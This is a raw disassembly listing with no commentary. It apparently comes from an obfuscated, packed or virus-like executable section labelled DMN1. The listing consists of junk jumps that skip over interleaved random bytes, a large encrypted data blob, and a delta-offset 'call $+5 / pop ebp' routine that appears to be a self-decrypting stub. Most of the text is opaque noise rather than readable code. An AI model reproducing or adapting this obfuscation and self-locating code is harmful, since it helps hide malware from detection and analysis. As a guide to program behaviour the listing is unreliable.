; ---------------------------------------------------------------------------


loc_46C816:				; CODE XREF: DMN1:0046C803j
		jmp	short loc_46C826
; ---------------------------------------------------------------------------
		dd 73672EFBh, 417ACF87h, 0F31FDDBFh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		push	esi


loc_46C826:				; CODE XREF: DMN1:loc_46C816j
		jmp	short loc_46C82A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------


loc_46C82A:				; CODE XREF: DMN1:loc_46C826j
		stc
		xchg	ebx, edx
		jmp	short loc_46C833
; ---------------------------------------------------------------------------
		enter	572Ah, 94h


loc_46C833:				; CODE XREF: DMN1:0046C82Dj
		jmp	short loc_46C852
; ---------------------------------------------------------------------------
		db 2Fh,	80h, 0FEh
		dd 0F9C0952Eh, 2AAE629Ch, 5A39A1AEh, 6DEEC78Ch,	0EC93881Bh
		dd 3DB7DB6Ah
; ---------------------------------------------------------------------------
		push	es
		push	esi


loc_46C852:				; CODE XREF: DMN1:loc_46C833j
		jmp	short loc_46C867
; ---------------------------------------------------------------------------
		dd 67D69166h, 44A63C82h, 23A5C558h, 8433ECB0h
; ---------------------------------------------------------------------------
		adc	[eax+2Eh], dl


loc_46C867:				; CODE XREF: DMN1:loc_46C852j
		std
		add	ebx, 1
		jmp	short loc_46C880
; ---------------------------------------------------------------------------
		db 77h,	36h, 74h
		dd 0A90C3843h, 0B36DF2DBh, 957C2BCFh, 0D0E32CDAh
; ---------------------------------------------------------------------------


loc_46C880:				; CODE XREF: DMN1:0046C86Bj
		stc
		jmp	short loc_46C889
; ---------------------------------------------------------------------------
		db 91h
		dd 0DE9031DBh
; ---------------------------------------------------------------------------
		push	ds


loc_46C889:				; CODE XREF: DMN1:0046C881j
		jmp	short loc_46C898
; ---------------------------------------------------------------------------
		db 0F3h
		dd 0EF7C82E1h, 0D76490FCh, 7219EBEFh
; ---------------------------------------------------------------------------


loc_46C898:				; CODE XREF: DMN1:loc_46C889j
		jmp	short loc_46C8B4
; ---------------------------------------------------------------------------
		dw 0D378h
		dd 265DA06Bh, 2531F4Dh,	422D3EF9h, 0D5445E3h, 5AACA8C0h
		dd 0FD95645Ch
; ---------------------------------------------------------------------------


loc_46C8B4:				; CODE XREF: DMN1:loc_46C898j
		cmp	esp, 7172A3E5h
		jmp	short loc_46C8C8
; ---------------------------------------------------------------------------
		aad	75h
		or	bl, bh
		rol	byte ptr [edx],	cl
		retf	6456h
; ---------------------------------------------------------------------------
		db 0E4h, 0DCh, 41h
; ---------------------------------------------------------------------------


loc_46C8C8:				; CODE XREF: DMN1:0046C8BAj
		xor	eax, 5FAD6F29h
		jmp	short loc_46C8E9
; ---------------------------------------------------------------------------
		dd 829AE9A8h, 0E0836CBCh, 70EEE554h, 923F1E96h,	0F743BD26h
		dd 0EA448A8Ch
; ---------------------------------------------------------------------------
		popf


loc_46C8E9:				; CODE XREF: DMN1:0046C8CEj
		jmp	short loc_46C907
; ---------------------------------------------------------------------------
		db 2Dh
		dd 506A1BF1h, 4233DB7Eh, 8ADBA1E0h, 4A09FA16h, 0C3374C40h
		dd 0A5E438D6h
; ---------------------------------------------------------------------------
		mov	ah, 69h
		wait


loc_46C907:				; CODE XREF: DMN1:loc_46C8E9j
		add	ebx, 2
		clc
		jmp	short loc_46C91A
; ---------------------------------------------------------------------------
		db 0B6h, 64h, 81h
		dd 0AB938F8h, 0A3E756A5h
		db 0CDh, 45h
; ---------------------------------------------------------------------------


loc_46C91A:				; CODE XREF: DMN1:0046C90Bj
		xchg	ebp, ecx
		jmp	short loc_46C930
; ---------------------------------------------------------------------------
		dw 0D780h
		dd 0AB8EE008h, 8711DED5h, 0DA097688h, 0F25C6CC5h
; ---------------------------------------------------------------------------


loc_46C930:				; CODE XREF: DMN1:0046C91Cj
		std
		jmp	short loc_46C937
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		jns	short loc_46C95F
		pop	esi


loc_46C937:				; CODE XREF: DMN1:0046C931j
		jmp	short loc_46C950
; ---------------------------------------------------------------------------
		and	al, 0BCh
		db	26h
		mov	ebx, 2D2D4B0Dh
		mov	ecx, 0F520F602h
		cmp	byte ptr [ebp+72h], 0DCh
		xchg	eax, esp
		stosd
		rcr	byte ptr [edx-40h], 9


loc_46C950:				; CODE XREF: DMN1:loc_46C937j
		bswap	esi
		clc
		jmp	short loc_46C960
; ---------------------------------------------------------------------------
		db 91h,	22h, 0F0h
		dd 7E05A9Fh
		db 6Dh,	0C5h, 46h
; ---------------------------------------------------------------------------


loc_46C95F:				; CODE XREF: DMN1:0046C934j
		cmc


loc_46C960:				; CODE XREF: DMN1:0046C953j
		sub	ebp, 1
		jz	short loc_46C9BB
		xchg	ebx, ebx
		xchg	eax, ebx
		jmp	short loc_46C96D
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_46C96D:				; CODE XREF: DMN1:0046C969j
		jmp	short loc_46C971
; ---------------------------------------------------------------------------
		db 41h
		db 7Fh
; ---------------------------------------------------------------------------


loc_46C971:				; CODE XREF: DMN1:loc_46C96Dj
		xchg	esi, ebp
		jmp	short loc_46C980
; ---------------------------------------------------------------------------
		db 4Fh,	4, 0E1h
		dd 7EFFCB5h, 3EA000B1h
; ---------------------------------------------------------------------------


loc_46C980:				; CODE XREF: DMN1:0046C973j
		cmc
		xor	edx, 9C456819h
		jmp	short loc_46C98A
; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------


loc_46C98A:				; CODE XREF: DMN1:0046C987j
		xchg	ebp, ecx
		jmp	short loc_46C9A2
; ---------------------------------------------------------------------------
		and	esi, edi
		dec	ebp
		leave
		or	bl, [esp+eax]
		mov	esi, esp
		mov	[ecx+1BE9B2C3h], bh
		db	67h
		rol	bl, 0FBh
		std


loc_46C9A2:				; CODE XREF: DMN1:0046C98Cj
		jmp	short loc_46C9B4
; ---------------------------------------------------------------------------
		dd 0E309AA99h, 563A4BC0h, 71B835CCh, 9ED807A3h
; ---------------------------------------------------------------------------


loc_46C9B4:				; CODE XREF: DMN1:loc_46C9A2j
		xchg	ecx, edi
		jmp	loc_46C282
; ---------------------------------------------------------------------------


loc_46C9BB:				; CODE XREF: DMN1:0046C963j
		xchg	ebp, ecx
		xchg	esp, edi
		jmp	short loc_46C9CA
; ---------------------------------------------------------------------------
		db 80h,	71h, 5Eh
		dd 0A211AB67h
		db 0AEh, 0C7h
; ---------------------------------------------------------------------------


loc_46C9CA:				; CODE XREF: DMN1:0046C9BFj
		jmp	short loc_46C9DB
; ---------------------------------------------------------------------------
		dd 0B659F4E6h, 3018E5FAh, 0B271A00Dh
		db 0Eh,	0EFh, 28h
; ---------------------------------------------------------------------------


loc_46C9DB:				; CODE XREF: DMN1:loc_46C9CAj
		jmp	short loc_46C9ED
; ---------------------------------------------------------------------------
		db 92h,	76h, 0ADh
		dd 81ED762Eh, 0A41DD606h, 0F85F4D50h
; ---------------------------------------------------------------------------
		cmpsb


loc_46C9ED:				; CODE XREF: DMN1:loc_46C9DBj
		clc
		cmc
		cld
		jmp	short loc_46CA0C
; ---------------------------------------------------------------------------
		dw 2F20h
		dd 22481688h, 6EB622C5h, 0A72668BAh, 71E61CD4h,	344F2A39h
		dd 461176C9h
; ---------------------------------------------------------------------------


loc_46CA0C:				; CODE XREF: DMN1:0046C9F0j
		pop	edi
		jmp	short loc_46CA12
; ---------------------------------------------------------------------------
		cmp	[esi-1Fh], dl


loc_46CA12:				; CODE XREF: DMN1:0046CA0Dj
		stc
		jmp	short loc_46CA19
; ---------------------------------------------------------------------------
		db 0BAh, 9, 78h
		db 7Bh
; ---------------------------------------------------------------------------


loc_46CA19:				; CODE XREF: DMN1:0046CA13j
		jmp	short loc_46CA1F
; ---------------------------------------------------------------------------
		db 6Fh
		db 6Fh,	0B3h, 0F4h
; ---------------------------------------------------------------------------


loc_46CA1F:				; CODE XREF: DMN1:loc_46CA19j
		jmp	short loc_46CA35
; ---------------------------------------------------------------------------
		db 2Ch,	42h, 86h
		dd 12606992h, 0BF411FB6h, 0F64E4255h, 23A6F4Dh
		db 2Ch
; ---------------------------------------------------------------------------


loc_46CA35:				; CODE XREF: DMN1:loc_46CA1Fj
		cld
		not	edi
		jmp	short loc_46CA40
; ---------------------------------------------------------------------------
		dw 0C8E4h
		dd 0B76650FDh
; ---------------------------------------------------------------------------


loc_46CA40:				; CODE XREF: DMN1:0046CA38j
		jmp	short loc_46CA45
; ---------------------------------------------------------------------------
		dw 50F9h
		db 8Ah
; ---------------------------------------------------------------------------


loc_46CA45:				; CODE XREF: DMN1:loc_46CA40j
		jmp	short loc_46CA64
; ---------------------------------------------------------------------------
		db 0F1h
		dd 0A983DDF9h, 5E6975Eh, 5E2BE1C4h, 3DEA5854h, 0ACF249CFh
		dd 0F6340FAAh, 0BC598040h
; ---------------------------------------------------------------------------


loc_46CA64:				; CODE XREF: DMN1:loc_46CA45j
		jmp	short loc_46CA7C
; ---------------------------------------------------------------------------
		dw 0B864h
		dd 3962544Bh, 67BB70C3h, 0B2F15F20h, 0A638AB24h, 0B40E335Eh
; ---------------------------------------------------------------------------


loc_46CA7C:				; CODE XREF: DMN1:loc_46CA64j
		cld
		jmp	short loc_46CA8C
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C86A050Fh, 215B901Fh, 0BBFFFBC7h
; ---------------------------------------------------------------------------


loc_46CA8C:				; CODE XREF: DMN1:0046CA7Dj
		jmp	short loc_46CA99
; ---------------------------------------------------------------------------
		dw 1F18h
		dd 0FEF681h, 53BAF16Dh
; ---------------------------------------------------------------------------
		inc	ebx


loc_46CA99:				; CODE XREF: DMN1:loc_46CA8Cj
		cld
		jmp	loc_46BBFB
; ---------------------------------------------------------------------------


loc_46CA9F:				; CODE XREF: DMN1:0046D719j
		popa
		pop	ebp
		jmp	loc_46C09B
; ---------------------------------------------------------------------------
		dw 0A2A2h
		dd 4D3973DCh, 0BE31A040h, 0BB0B3AD4h, 9FD02448h, 729A0ADEh
		dd 6C593F3Dh, 7E37BD52h, 0F1F3F0AAh, 0ECB02A81h, 0E5B818D9h
		dd 0CDA4D79Bh, 0D66195DEh, 0E71E9AC2h, 0C91DEBA3h, 53F735FAh
		dd 0CB7202E6h, 1DFDAD58h, 0FF1738E0h, 0D00AF2E8h, 9835A4ADh
		dd 3B0E68Ch, 6610E144h,	977887D0h, 9FCCAFFBh, 26645143h
		dd 553C0AE3h, 7E5210E5h, 0E27C99D9h, 6C9EC875h,	58D3AD28h
		dd 0CCE4C38Dh, 8238438Bh, 0D9E3CACh, 9F7112D3h,	0DCA45A97h
		dd 9C26C6AAh, 0F5EF807h, 5B07C8EDh, 5D1E36D9h, 55D5B974h
		dd 11E4A1F2h, 9D9952D2h, 0F4D4EB04h, 0D037EC2Ah, 940ED01Bh
		dd 32DB8E5Ch, 6E87FD5Eh, 121CCE0Ch, 0C180377Bh,	9C0FD110h
		dd 44C9159h, 4CF7509Ch,	0AF74525Ch, 7782B350h, 0A3A812D7h
		dd 79A0AB89h, 2167E8D0h, 72F39B18h, 0C156B8BEh,	1F06CAD7h
		dd 0DA73FBECh, 315DB7DEh, 0E072C36Eh, 26FB68B6h, 48C0245h
		dd 90B03AAFh, 6FCD65A1h, 0B696F46Bh, 47A9DEB9h,	0AEB0D8BAh
		dd 0E3AE7022h, 7D59A4F7h, 513A8F97h, 0BF99A156h, 85C3D510h
		dd 0EF9ACB18h, 0D7A3A99Dh, 925FE592h, 9DF7BDCBh, 8366C55Ch
		dd 0FBEE8074h, 5BE8907Fh, 0E2DCBEF9h, 0F3EEFDB6h, 0D5451E9Ah
		dd 5D1697EAh, 0F64B0C5h, 0DE5B9A53h, 8EACAC18h,	596E3178h
		dd 9131705Dh, 0F5B738B0h, 7AB8FD11h, 847EF6E4h,	0C3D7CE60h
		dd 7E3AE393h, 0E9BDB6ADh, 0B194934Bh, 0DF873FFh, 0A9068349h
		dd 0E32F9ECDh, 5B49A0C0h, 3AB096B8h, 6E889D29h,	0C18BC367h
		dd 2D9EFA14h, 0AF19F312h, 71CCB243h, 30C681F2h,	28CF4FDCh
		dd 5A1728F1h, 0FCA9A355h, 9ECE1BC4h, 3F58327Bh,	933EC877h
		dd 4F01DB5Bh, 0DE147883h, 0B5B9D5A5h, 54931554h, 0E494CDF1h
		dd 0BF07DC5Ah, 0CB69F370h, 0DF2AB580h, 45C4AF52h, 431AC782h
		dd 50E41157h, 7FF2C40Dh, 1560F3C4h, 0C6FA6625h,	1CB1D87Dh
		dd 8D63B943h, 67AF49A4h, 0C220FC33h, 59CC4A85h,	50CCE3DFh
		dd 0F99C003Fh, 56074102h, 410961A3h, 0E382F022h, 0D79E6577h
		dd 0D104F9B9h, 0C7009AB5h, 3A3A4CF2h, 0D21F7C35h, 9E920049h
		dd 269ED3EDh, 32358C5Eh, 4CA2D580h, 0BFFA3352h,	1F5986BAh
		dd 36345A3Bh, 162711F2h, 0D14DFE89h, 656E7F48h,	76D70173h
		dd 42D2EF96h, 72A004B7h, 17BA1C6Eh, 4BA427B9h, 28607E88h
		dd 1151D26Eh, 85710C5h,	569AA7A2h, 6AE5D244h, 9F705E3Bh
		dd 0F8A77EAEh, 801EAE15h, 0D699B09Eh, 86A1312Eh, 0B7868A5Ah
		dd 0ECA277E0h, 14F49E8h, 0FB01DFAh, 74714E57h, 0F5169A87h
		dd 41DE4F97h, 0D665CE7Eh, 0F8BE88F7h, 7A69CD71h, 0D1A0126Bh
		dd 996121CBh, 96006F9Eh, 8C74ACB5h, 0B77531Dh, 0A68331CAh
		dd 0FE1E18F8h, 0E64ED443h, 92105FE9h, 0F0B429Bh, 0A2036141h
		dd 10EF04D1h, 0EC8236A3h, 0DFF8CACEh, 122FA17h,	55327BE0h
		dd 0E153AC37h, 20288BB7h, 7AE1325Fh, 2212962h, 0F59EDE9Ah
		dd 195C40FCh, 0FD24B091h, 9923017Fh, 0ABAD3A23h, 91C40DB6h
		dd 0E7E13907h, 0CB8FE97Eh, 224D1D4Eh, 0FCE6CD3Ah, 98D22192h
		dd 52C8BDA7h, 535F1709h, 0CD04B68Ch, 391B59C2h,	0F8388ABEh
		dd 70DDB071h, 0C2810FD8h, 154298DFh, 7B6576C1h,	22EE4A1Bh
		dd 7DB319A4h, 0BDD2F841h, 9F3867B2h, 0C7250F73h, 0B860373Eh
		dd 25A1D5FEh, 14552B98h, 3E4DCB19h, 63109079h, 0A57211A0h
		dd 759BBA9h, 0C871A2DEh, 0A54D527Bh, 0A5B777BDh, 0AF09E951h
		dd 83BA3509h, 54D74DFAh, 0F4FBE901h, 8EA7D2B9h,	3FB6DA9Ah
		dd 47AA071Bh, 0BB6B24E2h, 65E39992h, 34C5D12Fh,	0B465C85Ch
		dd 33123A8Fh, 88C6F28Dh, 59656016h, 1F44E463h, 0C150577Bh
		dd 0B7CB897Bh, 77BBBA90h, 0F34F4B9Ah, 0D0B1AC24h, 26B68347h
		dd 1B81519Ch, 0D83782C7h, 88EDF459h, 44F0E7F8h,	3C320386h
		dd 7D66DFF0h, 9421708Ah, 46C1BEB3h, 417C7D60h, 3C160737h
		dd 9135F730h, 53330E8Dh, 0FF9B4C3Eh, 0C1191618h, 10616FEDh
		dd 0F2C36AB1h, 3DC305E3h, 31935DA7h, 76020202h,	13BA2E21h
		dd 39F4C856h, 5C839E5h,	0E6FA5DF4h, 0EE5DEDDCh,	33294E3Ah
		dd 5589C557h, 5AAB2353h, 0E47EB655h, 0DAE4BB80h, 4EC0816Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6CF24h
		pusha
		mov	eax, 0C1DAE02h
		push	eax
		xchg	eax, ecx
		stc
		jmp	short loc_46CF50
; ---------------------------------------------------------------------------
		db 99h
		dd 231DAB2Dh, 0C8EBE2F7h, 6A71B7Ch, 9520EB8h, 9852D4B5h
		dd 48240F27h
; ---------------------------------------------------------------------------


loc_46CF50:				; CODE XREF: DMN1:0046CF35j
		jmp	short loc_46CF5D
; ---------------------------------------------------------------------------
		dw 6B0Bh
		dd 0B39976Eh, 0EF3F572Ch
		db 0BCh
; ---------------------------------------------------------------------------


loc_46CF5D:				; CODE XREF: DMN1:loc_46CF50j
		jmp	short loc_46CF6F
; ---------------------------------------------------------------------------
		db 29h
; ---------------------------------------------------------------------------
		jmp	short loc_46CF94
; ---------------------------------------------------------------------------
		dw 4E21h
		dd 3C51433h, 0B3FB3FA3h
		db 0C8h, 68h, 0C1h
; ---------------------------------------------------------------------------


loc_46CF6F:				; CODE XREF: DMN1:loc_46CF5Dj
		jmp	short loc_46CF81
; ---------------------------------------------------------------------------
		db 0A7h, 2 dup(30h)
		dd 0C76EDEE7h, 5BA9E5CBh, 694840F6h
		db 64h
; ---------------------------------------------------------------------------


loc_46CF81:				; CODE XREF: DMN1:loc_46CF6Fj
		jmp	short $+2
		jmp	short loc_46CF9E
; ---------------------------------------------------------------------------
		db 7Ch,	0FAh, 0FCh
		dd 3B2F6A32h, 69BAC7B8h, 0BB2223BFh
; ---------------------------------------------------------------------------


loc_46CF94:				; CODE XREF: DMN1:0046CF60j
		mov	ah, bh
		fnstcw	word ptr ds:0D42756DBh
		out	0F8h, al	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.


loc_46CF9E:				; CODE XREF: DMN1:0046CF83j
		xchg	ecx, eax
		sub	edi, edi
		jmp	short loc_46CFC0
; ---------------------------------------------------------------------------
		dd 7F412F19h, 16E1DDF8h, 0DD76F1FDh, 0E97C8BB1h, 0EF9809EDh
		dd 721DC594h, 7AD235FFh
; ---------------------------------------------------------------------------


loc_46CFC0:				; CODE XREF: DMN1:0046CFA2j
		jmp	short loc_46CFCC
; ---------------------------------------------------------------------------
		dw 81Eh
		dd 3898818Dh, 0BA3D7C4Ah
; ---------------------------------------------------------------------------


loc_46CFCC:				; CODE XREF: DMN1:loc_46CFC0j
		jmp	short loc_46CFEA
; ---------------------------------------------------------------------------
		dw 65Eh
		dd 24906607h, 85C6CF99h, 3C97F4F6h, 0BE2DA8B7h,	87D5E4B9h
		dd 0DF7E510h
		db 87h,	64h
; ---------------------------------------------------------------------------


loc_46CFEA:				; CODE XREF: DMN1:loc_46CFCCj
		std
		jmp	short loc_46CFFE
; ---------------------------------------------------------------------------
		db 0DBh, 5Ah, 12h
		dd 0E501E253h, 5DDB3471h, 0D444531h
		db 0FFh, 0Dh
; ---------------------------------------------------------------------------


loc_46CFFE:				; CODE XREF: DMN1:0046CFEBj
		stc
		jmp	short loc_46D019
; ---------------------------------------------------------------------------
		aad	0D4h
		cdq
		sbb	al, 59h
		retf
; ---------------------------------------------------------------------------
		db 0F3h
		dd 413B991Dh, 35A7FE97h, 5BA910D0h, 0FD6A102Ch
		db 44h
; ---------------------------------------------------------------------------


loc_46D019:				; CODE XREF: DMN1:0046CFFFj
		std
		jmp	short loc_46D021
; ---------------------------------------------------------------------------
		dd 0F858285h
		db 0A8h
; ---------------------------------------------------------------------------


loc_46D021:				; CODE XREF: DMN1:0046D01Aj
		xchg	ebx, ecx
		jmp	short loc_46D03D
; ---------------------------------------------------------------------------
		db 68h,	0E6h, 0AAh
		dd 0F5364A59h, 828F23E6h, 0C798710Dh, 0BAD30993h, 0A58C8C4Dh
; ---------------------------------------------------------------------------
		pop	edx


loc_46D03D:				; CODE XREF: DMN1:0046D023j
		jmp	short loc_46D046
; ---------------------------------------------------------------------------
		db 9Bh
		dd 0B3E094F1h
		db 9Bh,	24h
; ---------------------------------------------------------------------------


loc_46D046:				; CODE XREF: DMN1:loc_46D03Dj
		jmp	short loc_46D063
; ---------------------------------------------------------------------------
		dd 0FF2FA1C7h, 336C30EDh, 31EC07F6h, 47D16114h,	93E71E75h
		dd 0F3238494h
		db 0E0h, 0FCh, 9Dh
; ---------------------------------------------------------------------------


loc_46D063:				; CODE XREF: DMN1:loc_46D046j
		xor	edi, 41000h
		jmp	short loc_46D087
; ---------------------------------------------------------------------------
		db 31h
		dd 2E349BCEh, 71B7BF28h, 5859AB13h, 8349D766h, 0B366223Ch
		dd 759C20C6h
		db 3Dh,	51h, 12h
; ---------------------------------------------------------------------------


loc_46D087:				; CODE XREF: DMN1:0046D069j
		jmp	short loc_46D099
; ---------------------------------------------------------------------------
		db 1Eh,	0A7h, 0F3h
; ---------------------------------------------------------------------------
		mov	ah, 11h
		sti
		retf
; ---------------------------------------------------------------------------
		dd 0A1FBB1F3h, 0E2A835EFh
		db 0BAh
; ---------------------------------------------------------------------------


loc_46D099:				; CODE XREF: DMN1:loc_46D087j
		or	esi, 0FFFFFFFFh
		xchg	edi, esi
		inc	edi
		xchg	ebp, esi
		jmp	short loc_46D0BC
; ---------------------------------------------------------------------------
		db 0DCh
		dd 0B0DDA0A6h, 0D0A94258h, 1CA697B2h, 57C0363Bh, 22E42304h
		dd 0BBE98C2Ch
; ---------------------------------------------------------------------------


loc_46D0BC:				; CODE XREF: DMN1:0046D0A1j
		jmp	short loc_46D0C7
; ---------------------------------------------------------------------------
		dw 42E2h
		dd 702977F1h
		db 6Dh,	1Bh, 58h
; ---------------------------------------------------------------------------


loc_46D0C7:				; CODE XREF: DMN1:loc_46D0BCj
					; DMN1:0046D102j
		add	edi, 0AF5Ah


loc_46D0CD:				; CODE XREF: DMN1:0046D666j
		jmp	short loc_46D0D5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A929A58h
		db 8Eh
; ---------------------------------------------------------------------------


loc_46D0D5:				; CODE XREF: DMN1:loc_46D0CDj
		cmc
		xchg	esi, esp
		jmp	short loc_46D0EA
; ---------------------------------------------------------------------------
		dw 0EF52h
; ---------------------------------------------------------------------------
		pop	edx
		popf
		mov	eax, 44E612DFh
		leave
		sahf
		mov	eax, ds:0F516B32Fh


loc_46D0EA:				; CODE XREF: DMN1:0046D0D8j
		stc
		jmp	short loc_46D104
; ---------------------------------------------------------------------------
		stosb
		std
		retf	366h
; ---------------------------------------------------------------------------
		mov	ah, 2Eh
		inc	eax
		mov	eax, ds:0A13BF90Fh
		dec	esp
		scasd
		cmp	bh, [edx+68693D3Ah]
		jbe	short loc_46D0C7


loc_46D104:				; CODE XREF: DMN1:0046D0EBj
		cld
		jmp	short loc_46D10B
; ---------------------------------------------------------------------------
		db 0DDh
		db 0A5h, 2Ah, 55h
; ---------------------------------------------------------------------------


loc_46D10B:				; CODE XREF: DMN1:0046D105j
		jmp	short loc_46D11A
; ---------------------------------------------------------------------------
		db 2, 77h, 68h
		dd 6EB808E7h, 0FD0E199Eh
; ---------------------------------------------------------------------------
		ja	short loc_46D153


loc_46D11A:				; CODE XREF: DMN1:loc_46D10Bj
		std
		jmp	short loc_46D136
; ---------------------------------------------------------------------------
		sbb	[ebp-1C5A0CC7h], ch
		lds	ebx, [edx]
		test	byte ptr ds:121CE12Bh[ebp*4], 99h
		xor	[eax+3AD6935Eh], esp
		dec	esi
		rol	ecx, 1


loc_46D136:				; CODE XREF: DMN1:0046D11Bj
		jmp	short loc_46D141
; ---------------------------------------------------------------------------
		dd 67B666Ah, 4A69858Bh
		db 38h
; ---------------------------------------------------------------------------


loc_46D141:				; CODE XREF: DMN1:loc_46D136j
		jmp	short loc_46D14B
; ---------------------------------------------------------------------------
		db 19h
		dd 98532926h
		db 40h,	96h, 0CAh
; ---------------------------------------------------------------------------


loc_46D14B:				; CODE XREF: DMN1:loc_46D141j
		jmp	short loc_46D166
; ---------------------------------------------------------------------------
		xor	eax, 6B0AC423h
		stosd


loc_46D153:				; CODE XREF: DMN1:0046D118j
		hlt
; ---------------------------------------------------------------------------
		dd 1BEF92ECh, 17545D0h,	0E71FC3DFh, 0F309B96Bh
		db 19h,	25h
; ---------------------------------------------------------------------------


loc_46D166:				; CODE XREF: DMN1:loc_46D14Bj
		xchg	edx, edx
		jmp	short loc_46D174
; ---------------------------------------------------------------------------
		dw 0DA8Ch
		dd 526B413Bh, 0B2910C2Eh
; ---------------------------------------------------------------------------


loc_46D174:				; CODE XREF: DMN1:0046D168j
		jmp	short loc_46D184
; ---------------------------------------------------------------------------
		dw 0E9FDh
		dd 3F753453h, 0F990A35h, 97493DFDh
; ---------------------------------------------------------------------------


loc_46D184:				; CODE XREF: DMN1:loc_46D174j
		neg	ebx
		jmp	short loc_46D19D
; ---------------------------------------------------------------------------
		dd 0E464D60Fh, 0FF62A2ECh, 84D01F4h, 4A915AA3h,	5D943409h
; ---------------------------------------------------------------------------
		push	edi


loc_46D19D:				; CODE XREF: DMN1:0046D186j
		jmp	short loc_46D1A2
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------


loc_46D1A2:				; CODE XREF: DMN1:loc_46D19Dj
		jmp	short loc_46D1B7
; ---------------------------------------------------------------------------
		dd 41A82C3Eh, 3FAB756Eh, 79A501FEh, 1033BD41h
		db 0Bh,	0F0h, 0B3h
; ---------------------------------------------------------------------------


loc_46D1B7:				; CODE XREF: DMN1:loc_46D1A2j
		jmp	short loc_46D1D5
; ---------------------------------------------------------------------------
		db 0E3h, 97h, 7Ah
		dd 9029A428h, 0DFA187B5h, 0E03A491Ch, 0D042D285h, 9E454B60h
		dd 0E1AB1B9Fh
; ---------------------------------------------------------------------------
		pop	esp


loc_46D1D5:				; CODE XREF: DMN1:loc_46D1B7j
		jmp	short loc_46D1E0
; ---------------------------------------------------------------------------
		db 0F9h
		dd 528CE17h, 88CDB7F0h
; ---------------------------------------------------------------------------


loc_46D1E0:				; CODE XREF: DMN1:loc_46D1D5j
		jmp	short loc_46D1F5
; ---------------------------------------------------------------------------
		dw 96Ch
		dd 0F2DD07D5h, 576D37AAh, 377853CBh, 60855AEFh
		db 3Ch
; ---------------------------------------------------------------------------


loc_46D1F5:				; CODE XREF: DMN1:loc_46D1E0j
		jmp	short loc_46D20F
; ---------------------------------------------------------------------------
		db 7Fh
		dd 1E1537Bh, 52ED29ECh,	16EB49B2h, 5696981Dh, 0B5D34FEBh
		db 0FAh, 0FCh, 24h
; ---------------------------------------------------------------------------


loc_46D20F:				; CODE XREF: DMN1:loc_46D1F5j
		mov	eax, esp
		cmc
		bswap	ebx
		jmp	short loc_46D224
; ---------------------------------------------------------------------------
		dw 5953h
		dd 0F7B61535h, 3798454Dh, 12640929h
; ---------------------------------------------------------------------------


loc_46D224:				; CODE XREF: DMN1:0046D214j
		xor	ebx, 0A5771DE3h
		jmp	short loc_46D234
; ---------------------------------------------------------------------------
		sbb	[ecx+40EBDD6Ch], eax
		mov	ch, 0CFh


loc_46D234:				; CODE XREF: DMN1:0046D22Aj
		jmp	short loc_46D23C
; ---------------------------------------------------------------------------
		dw 0FD06h
		dd 2D51BB08h
; ---------------------------------------------------------------------------


loc_46D23C:				; CODE XREF: DMN1:loc_46D234j
		jmp	short loc_46D258
; ---------------------------------------------------------------------------
		dw 2F47h
		dd 0EA3E1264h, 6EAC27D8h, 0D4CB1836h, 0E9924D6Ah, 0E80026BDh
		dd 7E40C311h
; ---------------------------------------------------------------------------


loc_46D258:				; CODE XREF: DMN1:loc_46D23Cj
		jmp	short loc_46D279
; ---------------------------------------------------------------------------
		mov	ds, word ptr [edx]
		xchg	edi, [esi]
		xor	eax, 2C322B4Ch
		jbe	short loc_46D2AF
		daa
		cwde
		retf	47DDh
; ---------------------------------------------------------------------------
		mov	[edi+2], bl
		add	eax, [ebx+5Dh]
		dec	ecx
		les	edi, [esi+7FBB384Dh]
		fstp	st


loc_46D279:				; CODE XREF: DMN1:loc_46D258j
		jmp	short loc_46D283
; ---------------------------------------------------------------------------
		db 4
		dd 5602147Dh
		db 94h,	0E7h, 0F4h
; ---------------------------------------------------------------------------


loc_46D283:				; CODE XREF: DMN1:loc_46D279j
		xchg	esp, ebp
		test	ebx, 0AF7038E7h
		stc
		xchg	eax, edx
		stc
		jmp	short loc_46D2A2
; ---------------------------------------------------------------------------
		db 4Ah,	42h, 64h
		dd 5AED9804h, 223DCD32h, 19D1B829h
; ---------------------------------------------------------------------------
		xchg	ebx, [ecx]


loc_46D2A2:				; CODE XREF: DMN1:0046D28Fj
		add	edx, esp
		jmp	short loc_46D2BC
; ---------------------------------------------------------------------------
		dw 55EEh
		dd 7E808B3Ah
		db 7Fh,	41h, 7Ah
; ---------------------------------------------------------------------------


loc_46D2AF:				; CODE XREF: DMN1:0046D263j
		mov	eax, 0CCD98EB9h
		sub	al, 78h
		xchg	ah, dl
		out	0E2h, eax
; ---------------------------------------------------------------------------
		dw 9120h
; ---------------------------------------------------------------------------


loc_46D2BC:				; CODE XREF: DMN1:0046D2A4j
		jmp	short loc_46D2D5
; ---------------------------------------------------------------------------
		dw 7761h
		dd 58289606h, 8F370BE7h, 7658AE25h, 836AE66Ch, 0CFB5A460h
		db 68h
; ---------------------------------------------------------------------------


loc_46D2D5:				; CODE XREF: DMN1:loc_46D2BCj
		jmp	short loc_46D2F6
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		mov	esi, 97691A5Bh
		db	66h
		jmp	short small loc_46D324
; ---------------------------------------------------------------------------
		dd 6D29FEF1h, 0C87370AFh, 3AC07300h, 1690B3A4h,	0EF0DB41Bh
; ---------------------------------------------------------------------------
		push	ecx
		pop	edi


loc_46D2F6:				; CODE XREF: DMN1:loc_46D2D5j
		test	ebx, 28D85F1Eh
		mov	eax, [edx]
		xchg	esp, eax
		jmp	short loc_46D321
; ---------------------------------------------------------------------------
		dw 0B007h
		dd 57B26565h, 0B8DAFD03h, 0C7BA687Bh, 0F45944FEh, 45001B7h
		dd 0E5C6E7E2h, 0B25DEB76h
		db 0C7h
; ---------------------------------------------------------------------------


